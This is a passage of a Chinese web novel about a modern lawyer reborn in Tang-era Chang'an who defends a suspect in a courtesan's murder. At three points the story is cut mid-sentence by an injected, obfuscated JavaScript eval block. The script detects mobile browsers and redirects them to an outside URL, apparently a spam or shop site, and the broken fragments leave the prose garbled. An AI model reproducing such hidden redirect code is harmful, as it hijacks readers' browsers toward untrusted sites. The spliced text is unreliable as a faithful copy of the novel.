《我在大唐当律师》 1. 花魁之死(一) 宏昌二十六年,长安。 仲夏苦长,雨水渐丰,正是天闷气热的时候。俗话说三伏不热五谷不结,农户总是要看天吃饭,但今年雨水实在丰沛,水灾频发,朝廷的赈灾银拨了一茬又一茬,可也是将将解了燃眉之急。 春禧酒楼因地形优势,又有个名誉长安的饆饠做招牌,每天都有南来北往的商客旅人在此歇脚,尝尝酒楼的饆饠才肯走。 酒楼门口,一个大胡子吐火罗商人走进来,操着口不大流利的官话吩咐道:“小二,将外面的马牵下去喂好了。” 小二乐呵呵地迎上去,叫马夫牵走马匹后,转头问道:“客官从哪儿来啊?是要打尖儿还是住店?” 吐火罗商人跟着小二寻了张桌子坐下,思量片刻道:“我是来长安做珠宝生意的,劳烦要一间上房,可否?” “可可可!”小二匆忙倒了一杯茶递给商人,应道:“客官想吃点什么?” “你们这儿有什么吃的?” 还不等小二回答,另一桌客人先插了话:“这儿啊,饭好菜好酒好,长安的景色更是没得说。” 小二和吐火罗商人寻着声望去,只见那桌坐着个红衣娘子。娘子扎着个惊鹄髻,一副俏皮模样。 娘子叹着气摇了摇头:“可惜啊……小二态度实在太差……” 小二没理她,又殷勤向商人道:“客官,我们这酒楼啊,最出名的便是饆饠,也有三勒浆。若您嫌天热,小店还有酥山,不好吃您尽管喂驴喂狗。” 商人随意要了几样,便挥退店小二,小二识趣退下,他这才注意旁桌。 樊丛青喝下最后一口茶,扔下几个铜板在桌上。 “樊姑娘,您哪次来不是要壶茶和一碟瓜子,连茶点也不肯要,一坐就是一个多时辰。您这……我们也要做生意的是不是?”店小二不见刚才那般殷勤劲儿,他敛了笑容,脸上更多的是鄙夷。他收好铜板,又道:“看您穿得非富即贵的,想必也不是差钱的主儿。” 樊丛青点点头,却不是赞同,因为她真的很穷。穷到出来消遣只能要一碟瓜子,蹭一蹭酒楼的茶水。 她摇着扇子起身,边走边道:“下次啊小二,我下次一定要茶点。” 店小二盯着她翻个白眼,咕哝道:“您上次也是这么说的。” 樊丛青捂着耳朵装作没听见,刚跑出酒楼远远见桥头围了一圈人,她天生就是爱凑热闹的性子,自然要一探究竟。当下拉着婢女想看看。婢女生怕樊丛青在外惹到麻烦,但是拗不过她,被拉着踉踉跄跄地挤进人群。 原来是两个小儿和各自的父母在桥头争执,两小儿浑身是水,一个哭哭啼啼站着,俨然是从河里捞出来的,另一个畏畏缩缩的躲在母亲身后,听旁人议论说是他推人下水的。 “光天化日朗朗乾坤,你儿将我儿推下水,你家还想抵赖不成?若不私了,咱们就去县廨叫明府评评理!” 那小儿大声反驳:“我没有推他,是我看到他落水之后把他救上来的!” 不似落水小儿的母亲这般咄咄逼人,小儿的母亲蹲下来,温和问道:“远哥儿,娘再问你一次,你真的没有推他?” “娘,他真的不是我推下去的。” “好!我儿素来诚实,既然你没有推他,咱们就不怕去叫明府评理!” 正当众人要拥着去县廨的时候,便听见传来县令的声音:“何事在此聚集?” 来人不惑之年,留着长长的胡须,身着圆领官袍,正是这长安县令。 长安下设数县,有两县为京兆府直辖,以朱雀大街为界,西设长安,东为万年。两县皆在天子脚下,故而县令虽是七品官,但位卑而权重。 “上官,他家儿子将我儿推入水中,他家死不承认,当时只有二人在此处,不是他能是何人?!”落水小儿的父亲恭敬道。 “上官明鉴啊。”救人小儿的母亲拱手道:“我儿心性纯良,绝不会做此等害人性命之事。定是那夫妇设计敲诈于我!我和远哥儿孤儿寡母相依为命本就不易,还请上官还我儿公道!” 那远哥儿实姓杨,名为杨远。据他所说,当时路过桥头,见徐春在水中挣扎,二话不说就跳进河里,将人救了上来。 杨远自小在河边长大,识水性且游水极佳,救上徐春这样的小孩子自然不在话下。可问题就在于,人来人往的酿泉坊,无一人注意到桥上的情况。 县令点了点头,一副了然于胸的样子:“当时桥上无第三人,便是只有你们二人,这徐春总不能自己跳下河栽赃陷害吧?再者你二人素不相识无缘无仇,人家也没有理由拿性命陷害你。” 杨氏瞠目结舌,长安县令就是这样草草断案的? “上官,您不能只听信他的一面之词!” “本县令觉得此事很清楚了,定是杨远将徐春推入河中。本县令看在他年纪尚小,从轻处罚,便赔徐家两贯钱以抚慰家人。” 杨远不乐意,大声反驳道:“你这糊涂县令!若是我推他下去,又何必舍身救他!” 县令瞪他一眼,怒道:“本县令自有论断,你不许插嘴。” “慢着!”清朗的女声穿透人群,引起众人侧目,樊丛青从容淡定地走上桥头,俯首行礼:“上官,民女观这母子二人非歹人,何况当时桥上并无人证,民女心存疑虑,可否问询一番,届时上官再做论断也不迟。” 县令看她一眼,道:“你是何许人?” 樊丛青恭敬回答:“中书令之女樊丛青见过县令。” 县令“诶呀”一声,换上笑脸叉手回礼:“原来是樊中书的女儿,你有何疑虑?说来本县令听听。” “待丛青问过便知。”樊丛青看向徐春,问道:“你可还记得当时他是怎么把你推下水的?” 徐春不假思索开口就道:“当时我正在桥上玩,然后感觉有人推了我一把,我没站稳摔进河里了。” 十分有十二分的不对劲。樊丛青直勾勾地盯着徐春的眼睛,尽管桥上很安静,但她还是提高了声音:“说详细点,是背对着还是面向?是站在桥上还是栏杆上?” 徐春被她毫无避讳的目光烫了一下,说话也少了几分底气:“我记不清了,好像是背对着站在栏杆上的……反正就是他推了我。” 樊丛青点点头,待查看过两人各自的靴印,便差不多了然于胸,她示意县令:“若徐春所言非虚,此时他应背对着站在栏杆上。怎么能确认就是杨远伸手推了他,难道徐春脑袋后长了眼睛不成?再者长安多日雨水丰沛,河岸淤土沉积,泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289458|152086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泞不堪。我刚才细细查看了桥上的靴印,这串凌乱的脚印来自杨远,说明当时杨远很匆忙。这桥年久失修,稍微用点力就会咯吱作响,若杨远真想推徐春入水,不可能会匆忙走过去引起徐春的注意,这是出于每个人在做坏事之前的本能。” 她朝着县令躬身,狡黠一笑:“孰是孰非,想必上官自有论断。” 县令呵道:“大胆徐春!还不从实招来!” 徐春一家膝盖一软,重重磕在地上求饶:“上官饶命啊,我们是见二人孤儿寡母的才起了歹心,想敲她一笔,再也不敢了再也不敢了。” 那徐春确实是自己在桥上玩不慎落水,被杨远搭救上来的。徐春父母是坊里出了名的泼皮无赖,见杨远和杨家娘子孤立无援才让徐春编造谎话,想狠狠敲她一笔钱,便是笃定了这长安县令是个糊涂蛋,闹到县廨也不怕。可谁知半路杀出个程咬金,徐春一家遇上了凑热闹来的樊丛青。 樊丛青跟县令行礼,转身要走,杨远和杨家娘子匆匆几步追上来。杨家娘子推了一把杨远,他才腼腆地向她道谢:“谢娘子出手相助。” “无碍,举手之劳罢了。”樊丛青摆摆手,笑道:“我瞧你水性不错,倒不如寻个营生,你跟你娘不必掐着荷包过日子。” “我知晓了,娘子您真是个大善人!” 杨家娘子再谢过樊丛青,领着儿子走了。樊丛青抬头看看天色,也道:“走吧,回家,马上又要下雨了。” 汉之西都,在于雍州,实曰长安。(1) 西都的雨说下就下,不急不缓,樊丛青靠在窗边听着淅淅沥沥的雨声,埋头看着手里的书。时不时有几丝细雨打到脸上,倒也没那么闷热了。 那厢长姐樊华黎和丫鬟气急败坏地推门进来,不消多想,樊丛青便知这位好姐姐又变着花样来找自己的不快了。 “樊丛青,你是不是偷拿我的簪子了?我放在匣子中半月而已就不见了!” 还没等樊丛青反应过来,一个小丫鬟撩了里间的帘子走出来,横在樊丛青面前跟小鸡护崽子似的:“大娘子好生无礼,自己的物件没收拾好,便要来问我家娘子要?府中谁人不知大娘子隔三差五就要丢东西,这般气势到院中来喊着抓贼呢?!” “放肆!”岑华黎的丫鬟点翠怒斥一声:“你算个什么东西,不怕主家将你发卖出去?” 小丫头半点不惧她,冷笑反驳:“你莫要威胁我,我是先夫人带过府的,卖身契也在娘子手中,要打要骂要发卖,我家娘子不开口,老夫人也没辙!” “你这泼丫头!”点翠说不过她,竟气红了脸,有些口不择言:“果真是狗随了主人,主人家手不干净,当狗的嘴也不干净。” 樊丛青听得直皱眉,一把扯过晚冬到自己身后,盯着樊华黎道:“夫人被抬为正妻的时候,阿爹就同夫人打过招呼了,今后咱们院和府里各过各的。大姐姐隔三差五的就来找我的麻烦,恐怕没把阿爹的话听进去吧?” 樊华黎一直纳闷向来少言寡语的樊丛青何时变得牙尖嘴利了,她不敢掰扯其他,只是拽着簪子的事说:“二妹妹,姐姐知道你被夫家退了婚在京中坏了名声,都是女儿家的,姐姐知道你心里不好受。但是你这做妹妹的,也不应该拿姐姐的簪子啊。” 2. 花魁之死(二) 原本淅淅沥沥的小雨下得更大了,樊丛青不得不提高音量:“姐姐说得这么冠冕堂皇,不如你一枝红杏要出墙。” 樊华黎气结,半天说不出个所以然来。 “你到我的院中张口我偷你簪子闭口我嫁不出去的,且先不提我嫁不嫁的出去一事,你说我偷你簪子,证据呢?拿出证据来,空口白话谁不会说。”樊丛青转身坐到榻上,自顾自倒了一杯茶细细品着。 瞧着樊华黎那心虚的表情,樊丛青心下就已了然。就这卑劣的栽赃嫁祸的手段,也就原主能着了她的道。 “月前皇后娘娘赏下来的簪子,价值连城。府里除了你胆大包天,还有谁敢偷拿御赐之物!”樊华黎说得头头是道:“再说那日家宴上你还说这簪子漂亮得很,让我好生放着,可别招了贼。你说完这簪子就不见了,不是你还能是谁?” 樊丛青嗤笑几声,两人顿时有些莫名其妙,点翠与樊华黎对视一眼,道:“二娘子笑什么?” 撇了撇茶沫,樊丛青押了一口茶,才道:“我笑你主仆二人蠢笨如猪。”点翠欲发作,却被樊丛青打断了:“适才进门的时候你便说簪子半月就不见了,而家宴没过几天吧?大姐姐,时间都对不上。” 樊华黎脸色刷的一白,但樊丛青并没打算放过她,继续道:“府中御赐之物不多且都记录在册,我听闻姐姐院中最近添了好些价值不菲的物件。按照每院的月银来看,如果你没有偷挪府中银两的话,那些物件姐姐是怎么买的?” 答案不言而喻。 樊丛青站起身,走到她面前,笑眯眯地说:“姐姐可知,依我朝律法,变卖御赐之物刑几十?” 樊华黎自知说不过她,一拂帕子离去,走时还不忘瞪她一眼。樊华黎主仆二人一走,院中就安静了下来。 晚冬不依不饶,朝着那背影啐了啐,惹得樊丛青发笑。 待那边走远了些,樊丛青又拿起书倚在榻上。 像刚才的事闹了不是一次两次了,这位庶姐惯会颠倒是非黑白,平日一副楚楚可怜的模样,私下不知怎么的狠心。对原主冷眼相待都是小事,泼脏水的法子更是层出不穷。 她穿来这几个月,这姐就找了不少麻烦,回想原主记忆,更是悲惨。 原主的父亲樊廷玉被逼娶了原主母亲柳氏做妻子,柳氏过了门才知道樊廷玉有个心上人养着做外室。柳氏性子软,又是个心地善良的主,许她进门做个妾。可柳氏生下原主便难产去世了,这个中缘由,没人说得清楚。不叫柳氏下葬,樊廷玉急吼吼地把这个小妾抬成了正妻,还美其名曰“家中不能缺主母”。 柳氏死后,府中由小妾执掌中馈,樊丛青的日子更是举步维艰,若不是年纪小那时,上头还有个哥哥撑腰,原主早死在某个寒冬腊月里了。等原主长大了点,哥哥入了军营很少回家,还有樊华黎三天两头给她泼脏水,使得樊廷玉这个做父亲的越来越偏心白氏的孩子。 因而作为一家之主,他很清楚樊丛青的日子过得怎么样,只要没闹出人命,只要外面不会有人说樊廷玉宠妾灭妻,任由庶姐欺压嫡妹,多数时候他都是睁一只眼闭一只眼。 也因樊廷玉如此态度,继母和樊华黎行径愈发恶劣。樊华黎在宴席上找人勾搭原主未婚夫,还想方设法把原主引到湖边,趁无人之际将原主推进湖里,幸而被一位公子及时救起来。本是春寒料峭,原主身子又弱,受了凉之后一病不起。 那边夫家听说原主被一男人救起,还病入膏盲,嚷嚷着要退婚,坚决不娶原主这个病秧子。原主在京中坏了名声,成了茶余饭后的笑料,郁结于心,不过月余便撒手人寰。也就是这个时间段,刚好让樊丛青游荡许久的灵魂穿了进去。 不论先前如何,只要这身体现在由樊丛青掌控,她就不能任由旁人欺负了去。于是思来想去,她决定重操旧业,可没想到这个朝代的律法史上还没有女子当讼师的先例。 先例不都要有个人开始么,我樊某怎么不可开这个先例! 樊丛青拍案:这不专业对口嘛! 想到此处,樊丛青突然斗志昂扬,看着手里厚厚的律法都瞬间变得和蔼可亲了。 樊丛青看着窗外雨势渐小,不一会儿困意上来,有些迷迷瞪瞪的。只听“哐当”声响,一妇人冲进来,樊丛青被骇一跳,跟那妇人大眼瞪小眼。 樊丛青一眼认出来人,弯腰捡起掉在地上的书,道:“秦夫人来我这儿有何要事?” 那秦夫人三步并两步走到樊丛青面前,屈膝就是一跪:“二娘子行行好,救救我家轩哥儿!” “折寿啊!”樊丛青大叫一声,连忙把秦氏扶起来,“秦夫人,您要不有事说事呢?” 秦氏脸色煞白,把着樊丛青的手臂抽抽搭搭地站起来,然后才急道:“轩哥儿被拘进了县廨,说是告他杀人……二娘子在桥头的事情早已传遍了坊间,你救救他。” “啊?”樊丛青有些惊讶,“怎么回事?” 秦氏平时虽不算个安分守己的人,但也没经历过这种事情,瓮声瓮气说了半天,樊丛青取其精华去其糟粕,总结一下大概就是: 秦望轩几日前夜里从花魁凤娘屋中出来,前脚刚踏出湘灵阁后脚老鸨就发现凤娘死了,而且死状极其凄惨。捕手一来,老鸨咬死秦望轩是凶手,当晚就把人拘了。 樊丛青心有疑虑。秦望轩此人是纨绔了点,但若说杀人的话,他实在没有那个胆子。像他这般的世家子弟,大多因出身恃宠而骄,平时里欺男霸女常有,杀人放火的事情绝对不敢做。 “诶哟二娘子,你一定要想办法救救轩哥儿啊,就他那怂样,善良得连只蚂蚁都不舍得踩死,他肯定不会杀人的!”秦氏握着樊丛青的手,哭哭啼啼道:“而且……而且他好歹是你表哥,你一定不会见死不救吧?” 樊丛青最不喜遇事就哭的人,当下抽出手,强压心里的不耐,道:“姨母啊姨母,这会儿知道说咱俩是亲戚了?” 秦氏愣了一下,忽的想起来嚼人嘴皮子这事,低声下气道:“之前是姨母不对,不该跟人嚼舌根……” 秦氏心里那个悔恨,当初樊丛青的事在京城满天飞,谁茶余饭后不谈论上两句?偏生她让樊丛青知道了。 据樊丛青所知,原主幼时走丢过一次,差点被人牙子带走的时候,国公府公子舍己为人将原主救了下来。至此,原主心里留下了一个念念不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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飞沙走石,电如细蛇,领队的金吾卫中郎将抬头一看,乌云遮住了半边月亮,马上要下雨了。街口转角走出一个男人,离得远看不真切,中郎将大喝道:“何人胆敢犯宵禁!” “刷刷刷”几声,金吾卫纷纷张开了弓箭。中郎将接过弓,拉弦高声警告:“犯宵禁者即刻驻足,否则就地射杀!” 闪电划破夜空,身后的金吾卫眯眼看着走来的男人,身形摇摇欲坠,脸色惨白,眼球外翻死死瞪着前方,像从坟墓里爬出来的厉鬼。金吾卫脸色一变,哆哆嗦嗦道:“中郎将,那人……不像活人。” 中郎将拉弦的手微微颤抖,低声骂道:“胡说什么?世上没有什么妖魔鬼怪,我到要看看是何人装神弄鬼。”他重复拉弦又高声警告:“犯宵禁者即刻驻足,否则就地射杀。” 男人恍若没听见金吾卫的声音,仍然往前走。 他接过手下递来的羽箭,搭弓拉满,长箭直直射入男人的腹部,男人还是没有任何反应,僵硬地走着。 “中郎将,您闻到香味了吗?” 3. 花魁之死(三) “哪来的香味儿,你在湘灵阁待久了是吧?” 眼看男人马上要走到面前了,金吾卫吓得后退几步,结巴道:“不是,您再仔细闻闻。”话音刚落,男人终于停下来,站在原处不动了。 “呵呵呵……” 一阵尖细的嬉笑声传入众人耳里,那声音缓缓来唱:“我与郎君拜天地,芳草萋萋芦苇荒。哪知郎君心两方,回首相看血与泪。我心藏于梧桐下,我身栖在金河里。犀照高悬明镜处,吾将所归是故乡。” 歌喉婉转,在空旷的街道回荡,显得愈发诡异,直叫人毛骨悚然。 中郎将拔出横刀,拨开金吾卫阻拦的手,对着浓雾大喊道:“敢在长安城里装神弄鬼,是不是不想活了?识相的赶紧滚出来,别让本将军亲自抓你。” 金吾卫小声提醒道:“中……中郎将……那雾里好像有个人。” 中郎将歪头细看,除开先前的男子,雾里确实多了个人,看那身形是个绰约多姿的女子。女子在雾里翩翩起舞,舞姿优美。若不是在这等离奇的情形下,倒真是风采动人,宛如青娥素女。 香气浓烈,众人只觉突然头晕目眩,横刀叮叮铛铛掉落在地上。中郎将咬破舌尖,保持最后一丝清醒,眼看那女子走过来,离自己仅有一步之遥,他使尽全身力气坐起来。一睁眼,却是蔺无舟的脸。 中郎将呆愣地盯着他,而后才甩了甩脑袋,问道:“蔺无舟,我怎么在这里?” 此时天已大亮,中郎将顺着蔺无舟的视线看过去,街上只有男人僵直的尸体,哪里还有什么跳舞的女子? 蔺无舟摇摇头,道:“段觉验过尸了,死者是被人勒死的,从这尸体僵硬情况和尸斑来看,死者死亡时间大约是三日前。” “怎么可能?!”崔宿把蔺无舟拉到一旁,压低嗓音:“昨晚我巡街时分明看到他走过来。”崔宿说罢,忽然想起昨晚手下提醒自己的话。都说眼见为实,但昨夜发生这么多离奇诡异的事情,很难让崔宿相信自己的眼睛。 “尸体是不会骗人的。”蔺无舟平静道:“勒死之人,喉下痕平多过,色极深,且眼帘有出血,嘴唇青紫。因四时变动,经三日,尸体口鼻内有恶汁流出。” 崔宿蹲下身翻看了尸体,白白胖胖的蛆虫从尸体发间落下,在地上扭动。他拨开尸体的衣服,露出颈间的痕迹,疑惑道:“不对啊,他是被人勒死的,那这眼睛怎么回事?” “段觉说是人挖的。”蔺无舟对着仵作段觉的方向抬抬下巴,示意他。 那边段觉收拾好验尸用的工具,然后走过来给崔宿行了个礼,说道:“死者还活着的时候被人挖了眼睛,但凶手明显还是经验不足,或者说是害怕,眼睛并没有完全挖出来,这时死者还活着。再看勒痕,这两道勒痕一浅一深,说明凶手没能一次杀死死者,凶手力气不大,很可能比死者矮小,也有可能是个女子。” 崔宿两眼一闭,道:“等等,昨夜我确实看到了女子。” “那还麻烦中郎将将昨夜所见全部说出来。” “昨夜我带人巡到敦义坊,这个男人不知从哪儿走出来,我以为是醉酒之人,便拉空弦警告一次,而后第二箭射其脚下。犯宵禁者,两次警告不果,第三次该就地诛杀。我第三箭落在了他肚子上,但离奇的是,他还是一直往前走。他停下以后,街上毫无预兆地起了浓雾,并且伴着一阵歌声,还有个女子在雾里跳舞。” “这么诡异!”段觉听崔宿讲完,脊背发凉。 “唱歌?”蔺无舟问他:“中郎将可还记得那女子在唱什么?” 崔宿虽是个莽夫,所幸记性不错,思索一番,一字不落地说出来:“我与郎君拜天地,芳草萋萋芦苇荒。哪知郎君心两方,回首相看血与泪。我心藏于梧桐下,我身栖在金河里。犀照高悬明镜处,吾将所归是故乡。” “这词有何意暂时还不得知,我先将尸体带回县廨,你也先回金吾卫大营吧,不然大将军那边不好交代。”蔺无舟吩咐捕手抬走尸体,向崔宿叉手一礼:“若有别的线索,劳烦中郎将告知我一声,多谢了。” 崔宿点头,带着金吾卫先行离开。 蔺无舟带着尸体回到廨殓房,刚巧赶上县令窦章准备升堂审案。 窦章望着“明镜高悬”四个大字,幽幽叹了口气。他坐上位,手里惊堂木一拍,喝道:“带嫌犯、告诉人。” 秦望轩和老鸨在“升堂——”声中以及众人的注视下走进大堂,依照惯例,秦望轩作为嫌犯,理应上铐戴镣,但窦章念及秦家不敢做太绝。 “堂下何人?所诉何事?” 老鸨“噗通”跪在地上给窦章磕了两个头:“上官,求您为民妇做主啊!他杀了我湘灵阁的姑娘,请上官明察,还民妇一个公道!” 窦章道:“你们的代诉人何在?” 捕手扶着刀,神色肃穆,朝堂外喊道:“代诉人何在?代诉人何在?” “民女在这儿!”青衣女子从容淡定地走上公堂,俯首行礼:“民女樊丛青,代苦主王二诉。” “草民王方永,代苦主十二娘诉。” “简直胡闹!”窦章一拍惊堂木,呵斥她:“把公堂当什么地方了!” 樊丛青不惧他,只是恭敬道:“上官,民女是秦望轩的讼师,我朝律法没有规定女子不能上公堂为人代诉,既然律法无明文规定,民女并未扰乱公堂,上官便不能说是民女胡闹。” 窦章一时语塞:“确实,我朝无法律规定不许女子上堂为人代诉。” “上官,虽说如此,但哪有女子上公堂代诉的道理?这位小娘子还是回去吧。”说话的是老鸨十二娘的讼师,王方永。 王方永是十里八乡有名的讼师,经他代诉的案子无一不胜诉的,故而他的讼金也不是寻常人家能给得起。他做讼师多年,过手的案子没有上千也有数百,对这次代诉更是势在必得。 “你莫不是心虚才急着赶我走?”樊丛青意指王方永:“若不是心里有鬼,又何至于拿我的女儿身说事?” “笑话,”王方永冷笑:“我心里有什么鬼?杀人的又不是我。你为杀人凶手代诉,还不知是何居心。” 樊丛青算是看出来了,王方永收了老鸨的钱,要秦望轩在公堂上供认不讳。估摸着老鸨想让秦望轩背责,赔偿一笔不菲的钱,毕竟凤娘是老鸨的摇钱树,现在人死了,钱也打水漂了。 “秦望轩是否是凶手还另当别论,你这么着急给他定罪,不免有些越俎代庖了。” “上官,她这是胡搅蛮缠。一个娘子不该好好待在家里,跟人对簿公堂成何体统!” “窦县令!民女并未胡搅蛮缠。当今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老鸨捏着帕子骂他:“你别给老娘泼脏水,那晚老娘知道凤娘在陪你,压根没叫过她。” 樊丛青继续问他:“那晚你跟凤娘喝得多吗?还有没有别的不一样的地方。” “不多啊。”秦望轩摇头,他自打跟那些胡朋狗友混在一起后,每日寻欢作乐必不可少的就是喝酒,所以酒量还不错,那晚跟凤娘没喝多少,自己就是醉了。“我也纳闷啊,就那么一点酒,我怎么可能会醉……我想起来了,那夜凤娘房中特别特别香。她跟我说过,她不爱用香的,我那日问过她,她说别人送的,不用浪费了。” 一个平时不用香的女人突然开始用香,要么就是想掩盖别的什么东西,要么就是有了在意的人,那个人很喜欢这个香味。除此之外,很难有理由说服凤娘用香。 “上官,民女觉得此案疑点颇多,绝不是看起来这么简单。”樊丛青厉声道:“王方永所述之事,无凭无证,实在难以服众。” “我无凭无证?那你就有证据能佐证人不是死于秦望轩之手?” 双方各执一词,窦章懒得听二人争辩,扭头去问蔺无舟,道:“蔺县尉怎么看?” 蔺无舟站出来,给窦章行了个礼:“下官认为,此案疑点重重,还需细查。但秦望轩的嫌疑很大,樊丛青的话无证据佐证,难以为秦望轩洗清嫌疑。” 其实作为现代人,樊丛青打过不少官司,上过无数次法庭,此案疑点太多,老鸨的口诉也有问题。法庭辩论中最好用的方法就是瓦解,老鸨说一句,然后根据她的口诉倒推回去看能不能成立,若不能成立则说明口诉有问题。但樊丛青因为时间来不及,没有到现场调查过,贸然说话会适得其反,今日要做的只是让秦望轩第一次过堂不至于吃亏。 果然,窦章宣布退堂,择日读鞫。 4. 花魁之死(四) 走了今天这一遭,樊从青的名气在坊间又会涨一涨,作为一个律师,最重要的就是名声有多大有多好。有更多的人找她代诉,才能挣到很多钱。 她如是想着,喜滋滋地离开了县廨。等县廨聚集的人七七八八散得差不多了,窦章叫住了蔺无舟,他走上前几步,道:“你手里那个案子如何了?” 蔺无舟躬身行礼,“未有进展,下官已经通知家属来认尸了。” 窦章赞赏般地拍了拍蔺无舟的肩膀,笑不达眼底:“蔺县尉少年成事,天子是愈发看重你了。” 窦章四十有六,想再高升,除立了什么旷世奇功外,按三年一次的考评升迁,他也升不了哪里去。四十六还只是个七品县令,显然比不上蔺无舟这个年轻又得皇帝和太子青睐的县尉。他话里有话,暗暗指摘蔺无舟要爬到他头上,蔺无舟不是没听出来。 蔺无舟微微一笑,谦虚道:“下官只是想为百姓做点事。” 二人各怀心事,随意说了几句,而后蔺无舟便又去了廨殓房。 廨殓房设在县廨后院,一走进去迎面吹来阵阵阴风,还夹杂着一丝尸体腐烂发出的恶臭。蔺无舟方才走到门口,房内传出来好几人的哭嚎声。 “我儿啊,究竟是谁这么歹毒杀了我的儿子!” “县尉。”段觉从旁屋出来,递给他一个小本,小本上记录了验尸详情还有死者家中情况:“死者康进,四日前离家,家里父母不知去了哪里,期间从未回过家。” 蔺无舟刚要开口,死者家属瞧见了他,从屋里匆忙跑出来,三步并作两步迎上去,将他团团围住。死者父亲年过五十,听说老来得子,对康进非常纵容。 康员外老泪纵横,“县尉啊,你一定要找到凶手,为我儿报仇雪恨!” 康氏哭得有些脱力,听到康员外说完,立马在丫鬟的搀扶下起身,叫喊道:“是她,肯定是她!是她杀了我的儿子!” 歇斯底里叫喊完,急火攻心,康氏头一仰晕了过去。康员外和丫鬟急忙扶住她,叫人先把她扶进马车里。 康员外看着康氏离开,又道:“我膝下就康进一个儿子,内人不免有些疼爱他。” 蔺无舟问他:“员外可知,贵夫人口中杀人的她是谁?” “孽缘,孽缘。”康员外抹了一把泪,叹气道:“小儿自小顽劣,长大以后更是与朋友整日花天酒地。三年前,他说湘灵阁的花魁美媚动人,不少人为她一掷千金,他非要娶她过门。我若同意这门亲事,来日旁人如何看我康家,简直不成体统。那时我对他过于纵容,缺乏管教,才造成他如此品性。” 半年前湘灵阁的花魁叫兰若,善诗词,工歌赋。容貌可比昭君玉环,尚可平分秋色,叫人见之不忘,夙夜不寐。那是真的五陵年少争缠头,一曲红绡不知数。(1) 兰若一舞动长安,再舞动四方。人人慕名而来,只为一睹其风采。 然世事难料,秋分时花魁出游,于安化门外十五里客栈入住,夜里客栈大火,染红了半边天幕,百里之外能见火光冲天,连烧日夜,浓烟蔽日。待火灭之际,客栈中无一人存活,花魁亦是。 时人只叹天妒英才,美人薄命。 湘灵阁一年间发生两起命案,且死者都是湘灵阁花魁,兰若和凤娘二人之间还不清楚有没有关系。若兰若不是死于意外,那凶手的目的就很明显——因妒杀人。凶手可能是得不到花魁的位置才杀人,人的妒忌心是一种很复杂的心理状态,达到极致时会烧毁人的理智。 尸体已认完,蔺无舟本要送人出门,捕手又来禀道:“县尉,金吾卫中郎将来了。” 蔺无舟有些疑惑。崔宿早时刚回金吾卫大营,恐怕还没挨到椅子又赶来了县廨,这般着急是有什么急事?思及此,他带着段觉去迎接崔宿。 县廨外崔宿直直站着,还穿着今早见面时的甲胄,身姿挺拔如青松,倒是一股子将军的威严之感。 “你怎的现在来县廨了?”蔺无舟道。 崔宿走近了点,鬼鬼祟祟地,三人像是要密谋大事,低声道:“今早我有点昏昏沉沉的,忘了些事,不过现在想起来了。昨夜我手下人看到那女人的时候,闻到了香味。” “又是香味?!”蔺无舟和段觉同时惊呼。 崔宿不大理解:“为何说又?” 两人对视一眼,蔺无舟道:“秦郎中家的儿子杀了湘灵阁的花魁,在堂上的时候他也说闻到了香味。” 很难说两人之间有何联系,但如今来看,蔺无舟只能从香上面开始查起。 他扔下手里的小本给段觉,同崔宿道:“中郎将现下无事,换身衣服陪我去趟湘灵阁。” “我堂堂清河崔氏,怎么会去那种地方?我不去,要去你自己去。” 崔宿想拒绝,可不知蔺无舟哪里来的力气,生生把自己拉走了。 要说起长安最大的歌舞坊,先有紫翠楼,而今非湘灵阁莫属。 西域小胡姬,跳着一曲又一曲胡旋舞。琵琶女一手抱着琵琶,一手轻揽纱帘,从帘后婷婷袅袅地走到台上。她朝台下的客人福了福身,琵琶半遮面,随后坐到台中央的椅子上。 转轴拨弦三两声,未成曲调先有情。(2)还未上灯,湘灵阁便传出悦耳的琵琶声。 但因凤娘一死,官府封了楼,湘灵阁如今称得上门可罗雀。 蔺无舟和崔宿走进湘灵阁,老鸨十二娘眼睛尖,打眼一看认出了蔺无舟。手里摇着扇子笑盈盈地凑上去:“诶哟,哪边的风把县尉吹来了?”再往蔺无舟身后一瞧,站着个板板正正的男人,男人眉宇间满是正气,根本不像来逛青楼的人。 老鸨勾唇笑着点点头,知道他们为凤娘而来,懒得浪费口舌,招来小厮领蔺无舟上楼。 小厮指了指红漆门,道:“县尉,这就是凤娘在湘灵阁的房间。” 或许是害怕凤娘回来索命,红漆门上贴满了黄符,两边各挂上了一串铜钱,连门环扣都用红线绑着,门前摆上了贡品和香炉,不知道是想安抚凤娘的冤魂,还是镇压 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她一笑,脸颊就起了两个酒窝,饶是谁都不忍心责怪。 “好巧啊,蔺县尉。您也来查案啊?” 蔺无舟不置可否,摊开手要东西:“樊小娘子,我知道你找到了,拿出来吧。” 樊丛青装傻:“什么东西?” 见她不愿给,也是在蔺无舟意料之中的事。他收回手,耸耸肩:“今天秦望轩提到香味的时候我就知道你会来湘灵阁,我知道你很固执,只是实在没想到,那么高你都悄悄摸上来了。” “不过我手上另一个案子跟这香也有关系,可谓是很重要,所以我必须带走。” 实际上,蔺无舟是长安城出了名的不近人情,他的丰功伟绩传遍了坊间,樊丛青初到时便听说过他的事情,此人不宜接近。 既来之,则避之。 但她还想再挣扎挣扎,道:“县尉查的案子,可是昨晚那起?” 蔺无舟点头。 樊丛青狡黠一笑,道:“您看,您手上的案子和我的案子都要这个,那不如我们合作?” 